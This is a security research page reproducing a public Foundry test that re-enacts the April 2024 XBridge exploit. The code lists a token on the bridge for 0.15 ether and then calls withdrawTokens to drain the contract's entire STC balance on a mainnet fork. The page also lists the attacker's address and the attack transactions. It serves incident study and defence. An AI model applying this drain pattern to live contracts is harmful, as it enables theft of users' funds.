Skip to content
THREATWIRE

Public reproduction file

src/test/2024-04/XBridge_exp.sol

Public reproduction file for dataset entry XBridge.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2024-04/XBridge_exp.sol54 lines
1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3
4import "forge-std/Test.sol";
5import "../interface.sol";
6
7// @KeyInfo - Total Lost : ~$1.6M(https://debank.com/profile/0x0cfc28d16d07219249c6d6d6ae24e7132ee4caa7, >200k USD(plus a lot of STC, SRLTY, Mazi tokens))
8// Attacker : https://etherscan.io/address/0x0cfc28d16d07219249c6d6d6ae24e7132ee4caa7
9// Vulnerable Contract : https://etherscan.io/address/0x354cca2f55dde182d36fe34d673430e226a3cb8c#code
10// Attack Tx Step1(deposit) : https://etherscan.io/tx/0xe09d350d8574ac1728ab5797e3aa46841f6c97239940db010943f23ad4acf7ae
11// Attack Tx Step2(withdrawToken): https://etherscan.io/tx/0x903d88a92cbc0165a7f662305ac1bff97430dbcccaa0fe71e101e18aa9109c92
13// @Analysis
14// https://twitter.com/CyversAlerts/status/1783045506471432610
16interface IXbridge {
17 struct tokenInfo {
18 address token;
19 uint256 chain;
20 }
22 function listToken(
23 tokenInfo memory baseToken,
24 tokenInfo memory correspondingToken,
25 bool _isMintable
26 ) external payable;
27 function withdrawTokens(address token, address receiver, uint256 amount) external;
30contract ContractTest is Test {
31 IERC20 STC = IERC20(0x19Ae49B9F38dD836317363839A5f6bfBFA7e319A);
32 IXbridge xbridge = IXbridge(0x47Ddb6A433B76117a98FBeAb5320D8b67D468e31);
34 function setUp() public {
35 vm.createSelectFork("mainnet", 19_723_701 - 1);
36 }
38 function testExploit() public {
39 // First TX
40 deal(address(this), 0.15 ether);
41 emit log_named_decimal_uint("Exploiter STC balance before attack", STC.balanceOf(address(this)), 9);
43 IXbridge.tokenInfo memory base = IXbridge.tokenInfo(address(STC), 85_936);
44 IXbridge.tokenInfo memory corr = IXbridge.tokenInfo(address(STC), 95_838);
46 xbridge.listToken{value: 0.15 ether}(base, corr, false);
48 xbridge.withdrawTokens(address(STC), address(this), STC.balanceOf(address(xbridge)));
50 emit log_named_decimal_uint("Exploiter STC balance after attack", STC.balanceOf(address(this)), 9);
51 }
53 receive() external payable {}

Analysis

Dataset entry

Public Foundry test for “XBridge” (2024-04-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

24 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

Also imports external libraries: forge-std/Test.sol.

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

  • Attacker

    0x0cfc28d16d07219249c6d6d6ae24e7132ee4caa7

  • Vulnerable Contract

    0x354cca2f55dde182d36fe34d673430e226a3cb8c

  • Attack Tx

    0xe09d350d8574ac1728ab5797e3aa46841f6c97239940db010943f23ad4acf7ae

  • Attack Tx

    0x903d88a92cbc0165a7f662305ac1bff97430dbcccaa0fe71e101e18aa9109c92

File record

Name
XBridge
Path
src/test/2024-04/XBridge_exp.sol
Repository
SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit
7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob
dfb3a9c4601b77c765779d9c155b101891ddcb35
Language
Solidity
Size
55 lines
Date
2024-04-24
Licence
file header UNLICENSED; repository Apache-2.0
Retrieved
2026-10-19

Provenance

Path src/test/2024-04/XBridge_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob dfb3a9c4601b77c765779d9c155b101891ddcb35, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.